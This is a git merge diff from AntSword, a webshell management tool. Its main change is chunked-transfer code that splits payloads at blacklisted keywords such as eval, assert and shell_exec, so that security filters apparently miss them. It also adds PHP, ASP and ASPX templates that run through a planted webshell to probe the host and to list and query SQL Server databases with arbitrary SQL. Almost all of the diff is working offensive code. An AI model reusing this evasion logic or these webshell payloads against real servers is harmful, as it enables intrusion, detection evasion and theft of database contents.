Commit 7944b3e5 authored by Medicean's avatar Medicean

Merge branch 'master' into v2.1.x

parents b13bfa0e 49067e2f
...@@ -2,6 +2,33 @@ ...@@ -2,6 +2,33 @@
> 有空会补补BUG、添添新功能。 > 有空会补补BUG、添添新功能。
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT. > 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
## `v(2.0.6-dev)`
### 后端模块
* 分块传输自动根据黑名单字符(eg: eval, assert, execute, response 等)进行随机切割(thx @phith0n)
### 数据管理
* 新增「测试连接」功能
* 新增「检测」功能, 检测支持的数据库函数(目前仅 PHP,ASP,ASPX 有效, ASP(X)仅检测使用到的组件是否存在)
* 新增 php sqlsrv 连接方式, php5.3之后 mssql 默认不存在,可使用该类型连接 sqlserver >= 2008
> 如果直连shell本地sqlserver, host 部分填 localhost 或者 (local)
> 如果连接外部,使用 ip,port
* 优化SQLServer类型数据库默认查询语句
* php数据管理解析数据时自动猜解编码
### 其它
* 新增 Decodes 自动猜解编码,在中文少量的情况下,成功率会降低
### BugFix
* 修复 asp(x) sqlserver 获取列名,执行自定义SQL语句的异常
* 修复 php mssql 获取列名,执行自定义SQL语句异常
## 2019/03/04 `v(2.0.5)` ## 2019/03/04 `v(2.0.5)`
### 后端模块 ### 后端模块
......
# AntSword [![release](https://img.shields.io/badge/release-v2.0.5-blue.svg?style=flat-square)][url-release] # AntSword [![release](https://img.shields.io/badge/release-v2.0.5.3-blue.svg?style=flat-square)][url-release]
> AntSword in your hands, no worries in your mind! > AntSword in your hands, no worries in your mind!
......
# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.5-blue.svg?style=flat-square)][url-release] # 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.5.3-blue.svg?style=flat-square)][url-release]
> 一剑在手,纵横无忧! > 一剑在手,纵横无忧!
......
...@@ -450,11 +450,19 @@ class AntRead extends Readable { ...@@ -450,11 +450,19 @@ class AntRead extends Readable {
// 重写自定义的可读流的 _read 方法 // 重写自定义的可读流的 _read 方法
_read() { _read() {
let blakwords = /eval|assert|base64_decode|preg_replace|call_user_func|create_function|str_replace|array_map|system|popen|exec|function_exists|passthru|shell_exec|frombase64string|unsafe|response|execute/i;
let step = this.randomNum(this.o.step, this.o.stepmax); let step = this.randomNum(this.o.step, this.o.stepmax);
if (this.index >= this.chunk.length) { if (this.index >= this.chunk.length) {
this.push(null); this.push(null);
}else{ }else{
this.push(this.chunk.substring(this.index, this.index + step) + ""); let _subcode = this.chunk.substring(this.index, this.index + step) + "";
let m = _subcode.match(blakwords);
if(m) {
let sub_step = this.randomNum(1, m[0].length - 1);
_subcode = _subcode.substring(0, m.index + sub_step);
step = m.index + sub_step;
}
this.push(_subcode);
} }
this.index += step; this.index += step;
} }
......
{ {
"name": "antsword", "name": "antsword",
"version": "2.0.5", "version": "2.0.5.3",
"lockfileVersion": 1, "lockfileVersion": 1,
"requires": true, "requires": true,
"dependencies": { "dependencies": {
......
{ {
"name": "antsword", "name": "antsword",
"version": "2.0.5", "version": "2.0.5.3",
"description": "中国蚁剑是一款跨平台的开源网站管理工具", "description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js", "main": "app.js",
"dependencies": { "dependencies": {
......
...@@ -16,6 +16,7 @@ const fs = require('fs'), ...@@ -16,6 +16,7 @@ const fs = require('fs'),
const Menubar = require('./base/menubar'); const Menubar = require('./base/menubar');
const CacheManager = require('./base/cachemanager'); const CacheManager = require('./base/cachemanager');
const Decodes = require('./base/decodes');
const antSword = window.antSword = { const antSword = window.antSword = {
/** /**
...@@ -201,6 +202,7 @@ antSword['shell'] = shell; ...@@ -201,6 +202,7 @@ antSword['shell'] = shell;
antSword['remote'] = remote; antSword['remote'] = remote;
antSword['ipcRenderer'] = ipcRenderer; antSword['ipcRenderer'] = ipcRenderer;
antSword['CacheManager'] = CacheManager; antSword['CacheManager'] = CacheManager;
antSword['Decodes'] = new Decodes();
antSword['menubar'] = new Menubar(); antSword['menubar'] = new Menubar();
antSword['package'] = require('../package'); antSword['package'] = require('../package');
...@@ -334,9 +336,9 @@ ipcRenderer ...@@ -334,9 +336,9 @@ ipcRenderer
toastr.success(antSword["language"]["success"], LANG["message"]["extract"]); toastr.success(antSword["language"]["success"], LANG["message"]["extract"]);
}) })
.once(`update-error-${hash}`, (event, err)=>{ .once(`update-error-${hash}`, (event, err)=>{
toastr.error(antSword["language"]['error'], LANG["message"]["fail"](err));
win.win.progressOff(); win.win.progressOff();
win.close(); win.close();
toastr.error(antSword["language"]['error'], LANG["message"]["fail"](err));
}); });
break; break;
case "canclebtn": case "canclebtn":
......
//
// 猜解编码模块
//
'use strict';
const iconv = require('iconv-lite'),
jschardet = require('jschardet');
class Decodes {
decode(buff, encoding) {
return iconv.decode(buff, encoding);
}
/**
* 判断指定buffer对象的字符编码
* ref: https://github.com/LeoYuan/leoyuan.github.io/issues/25
* @param buffer
* @param options
* - defaultEncoding 指定默认编码集
* - minConfidence 指定可接受的最小confidence,如果判断结果小于此值,则用defaultEncoding
* - verbose 返回更加详细的字符编码数据
* @returns {*}
*/
detectEncoding(buffer, options) {
options = options || {};
buffer = buffer || Buffer('');
var DEFAULT_ENCODING = 'GBK', MIN_CONFIDENCE = 0.96;
var verbose = options.verbose;
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer), encoding = ret.encoding === 'ascii' ? 'utf-8' : ret.encoding,
confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose ? {
encoding: defaultEncoding,
oriEncoding: encoding,
confidence: confidence
} : defaultEncoding;
} else {
encoding = encoding.toUpperCase();
return verbose ? {
encoding: encoding,
oriEncoding: encoding,
confidence: confidence
} : encoding;
}
}
}
module.exports = Decodes;
...@@ -5,5 +5,17 @@ ...@@ -5,5 +5,17 @@
module.exports = () => ({ module.exports = () => ({
info: info:
`Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)` `Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`,
probedb: // 检测数据库函数支持
`Function fe(strobj):
on error resume next:
fe=0:
server.CreateObject(strobj):
If -2147221005 <> Err then:fe=1:End If:
End Function:
m="Adodb.Connection|Adodb.RecordSet":
m=split(m,"|"):
for i=0 to ubound(m):
Response.Write(m(i)&chr(9)&fe(m(i))&chr(10)):
next:`.replace(/\n\s+/g, ''),
}) })
...@@ -5,5 +5,12 @@ ...@@ -5,5 +5,12 @@
module.exports = () => ({ module.exports = () => ({
info: info:
`var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);` `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`,
probedb: // 检测数据库函数支持
`function fe(S:String){try{new ActiveXObject(S);return 1;}catch(Exception){return 0;}};
var n="Adodb.Connection|Adodb.RecordSet";
n=n.Split("|");
for(var i=0;i<n.length;i++)Response.Write(n[i]+"\\t"+fe(n[i])+"\\n");
`.replace(/\n\s+/g, ''),
}) })
/** /**
* ASPX::mysql数据库驱动代码模板 * ASPX::sqlserver数据库驱动代码模板
*/ */
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1);
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+"\\t");
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}' [arg1]: '#{base64::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("USE ["+Request.Item["${arg2}"]+"];SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open("USE ["+Request.Item["${arg2}"]+"];
SELECT [name] FROM sysobjects WHERE (xtype=\'U\') ORDER BY 1",Conn,1,1);
while(!Rs.EOF && !Rs.BOF){
Response.Write(Rs.Fields(0).Value+"\\t");
Rs.MoveNext();
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
[arg2]: '#{dbname}' [arg2]: '#{dbname}'
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+" ("+Rs.Fields(1).Value+")\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));
var Rs=new ActiveXObject("ADODB.Recordset");
Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);
var CO:String="\\t";
var i:Int32=Rs.Fields.Count,c:Int32;
for(c=0;c<i;c++){
Response.Write(Rs.Fields(c).Name+CO)
}
Rs.Close();
Conn.Close();`.replace(/\n\s+/g, ''),
// Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd= // Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid // USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid
[arg2]: '#{base64::sql}', [arg2]: '#{base64::table}', // 这里其实传入的是获取表头的 sql 语句
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _:
`var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;Conn.DefaultDatabase="${arg3}";var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`, `var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10;
Conn.Open();
var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;
Conn.DefaultDatabase=Request.Item["${arg3}"];
var Rs=Conn.Execute(strSQL);
var i:Int32=Rs.Fields.Count,c:Int32;
for(c=0;c<i;c++){
Response.Write(Rs.Fields(c).Name+CO);
}
Response.Write(RN);
while(!Rs.EOF && !Rs.BOF){
for(c=0;c<i;c++){
Dat=Rs.Fields(c).Value;
Response.Write(Dat);
Response.Write(CO);
}
Response.Write(RN);
Rs.MoveNext();
}
Conn.Close();`.replace(/\n\s+/g, ''),
// Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd= // Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// SELECT TOP 20 * FROM table1 ORDER BY 1 DESC // SELECT TOP 20 * FROM table1 ORDER BY 1 DESC
......
...@@ -4,5 +4,6 @@ ...@@ -4,5 +4,6 @@
// //
module.exports = () => ({ module.exports = () => ({
info: 'A' info: 'A',
probedb: 'Z', // 检测数据库函数支持
}) })
...@@ -18,6 +18,7 @@ class PHP extends Base { ...@@ -18,6 +18,7 @@ class PHP extends Base {
'database/mysql', 'database/mysql',
'database/mysqli', 'database/mysqli',
'database/mssql', 'database/mssql',
'database/sqlsrv',
'database/oracle', 'database/oracle',
'database/informix' 'database/informix'
].map((_) => { ].map((_) => {
...@@ -51,7 +52,7 @@ class PHP extends Base { ...@@ -51,7 +52,7 @@ class PHP extends Base {
// 组合完整的代码 // 组合完整的代码
let tmpCode = data['_']; let tmpCode = data['_'];
data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";${tmpCode};echo "${tag_e}";die();`; data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";try{${tmpCode};}catch(Exception $e){echo "ERROR://".$e->getMessage();};echo "${tag_e}";die();`;
// 使用编码器进行处理并返回 // 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data); return this.encodeComplete(tag_s, tag_e, data);
......
...@@ -5,5 +5,10 @@ ...@@ -5,5 +5,10 @@
module.exports = () => ({ module.exports = () => ({
info: info:
`$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;` `$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;`,
probedb: // 检测数据库函数支持
`$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
foreach ($m as $f) {
echo($f."\\t".(function_exists($f)?'1':'0')."\\n");
}`.replace(/\n\s+/g, ''),
}) })
...@@ -7,7 +7,17 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -7,7 +7,17 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=@mssql_connect($hst,$usr,$pwd);$q=@mssql_query("select [name] from master.dbo.sysdatabases order by 1",$T);while($rs=@mssql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mssql_free_result($q);@mssql_close($T);`, `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$T=@mssql_connect($hst,$usr,$pwd);
$q=@mssql_query("select [name] from master.dbo.sysdatabases order by 1",$T);
while($rs=@mssql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mssql_free_result($q);
@mssql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
...@@ -15,7 +25,19 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -15,7 +25,19 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$T);$q=@mssql_query("SELECT [name] FROM sysobjects WHERE (xtype='U' OR xtype='S') ORDER BY 1",$T);while($rs=@mssql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mssql_free_result($q);@mssql_close($T);`, `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$T=@mssql_connect($hst,$usr,$pwd);
@mssql_select_db($dbn,$T);
$q=@mssql_query("SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1",$T);
while($rs=@mssql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mssql_free_result($q);
@mssql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -24,7 +46,20 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -24,7 +46,20 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$db);$q=@mssql_query("SELECT TOP 1 * FROM {$tab}",$T);while($rs=@mssql_fetch_field($q)){echo(trim($rs->name)." (".$rs->type.")".chr(9));}@mssql_free_result($q);@mssql_close($T);`, `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
$T=@mssql_connect($hst,$usr,$pwd);
@mssql_select_db($dbn,$T);
$q=@mssql_query("SELECT TOP 1 * FROM {$tab}",$T);
while($rs=@mssql_fetch_field($q)){
echo(trim($rs->name)." ({$rs->type}({$rs->max_length}))".chr(9));
}
@mssql_free_result($q);
@mssql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -34,7 +69,34 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -34,7 +69,34 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _:
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=@mssql_connect($hst,$usr,$pwd);@mssql_select_db($dbn,$db);$q=@mssql_query($sql,$T);$i=0;while($rs=@mssql_fetch_field($q)){echo($rs->name."\t|\t");$i++;}echo("\r\n");while($rs=@mssql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}@mssql_free_result($q);@mssql_close($T);`, `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$T=@mssql_connect($hst,$usr,$pwd);
@mssql_select_db($dbn,$T);
$q=@mssql_query($sql,$T);
if(is_bool($q)){
echo("Status\t|\tAffect Rows\t|\t\r\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\t|\t".base64_encode(@mssql_rows_affected($T)." row(s)")."\t|\t\r\n");
}else{
$i=0;
while($rs=@mssql_fetch_field($q)){
echo($rs->name."\t|\t");
$i++;
}
echo("\r\n");
while($rs=@mssql_fetch_row($q)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\t|\t");
}
echo("\r\n");
}
@mssql_free_result($q);
}
@mssql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
......
/**
* 数据库管理模板::sqlsrv
* php >= 5.3 原生不支持 mssql, 可彩 sqlsrv 连接 sqlserver
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$chs="utf-8";
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>"master","CharacterSet"=>$chs));
$q=@sqlsrv_query($T,"select [name] from master.dbo.sysdatabases order by 1",null);
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
echo(trim($rs[0]).chr(9));
}
@sqlsrv_free_stmt($q);
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$chs="utf-8";
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,"SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1",null);
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
echo(trim($rs[0]).chr(9));
}
@sqlsrv_free_stmt($q);
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
$chs='utf-8';
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,"select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{$tab}'",null);
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
echo(trim($rs[0])." ({$rs[1]}({$rs[2]}))".chr(9));
}
@sqlsrv_free_stmt($q);
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$chs='utf-8';
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,$sql,null);
if($q!==false){
$i=0;
$fm=@sqlsrv_field_metadata($q);
if(empty($fm)){
$ar=@sqlsrv_rows_affected($q);
echo("Affect Rows\t|\t\r\n".base64_encode($ar)."\t|\t\r\n");
}else{
foreach($fm as $rs){
echo($rs['Name']."\t|\t");
$i++;
}
echo("\r\n");
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\t|\t");
}
echo("\r\n");
}
}
@sqlsrv_free_stmt($q);
}else{
echo("Status\t|\t\r\n".base64_encode(sqlsrv_errors()[0]['message'])."\t|\t\r\n");
}
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
// [arg6]: '#{encode}'
}
})
...@@ -393,6 +393,7 @@ module.exports = { ...@@ -393,6 +393,7 @@ module.exports = {
add: 'Add', add: 'Add',
del: 'Del', del: 'Del',
edit: 'Edit', edit: 'Edit',
check: 'Check',
menu: { menu: {
add: 'Add conf', add: 'Add conf',
del: 'Del conf', del: 'Del conf',
...@@ -437,7 +438,8 @@ module.exports = { ...@@ -437,7 +438,8 @@ module.exports = {
toolbar: { toolbar: {
add: 'Add', add: 'Add',
clear: 'Clear', clear: 'Clear',
edit: 'Edit' edit: 'Edit',
test: 'Test connect'
}, },
conn: 'Connection String', conn: 'Connection String',
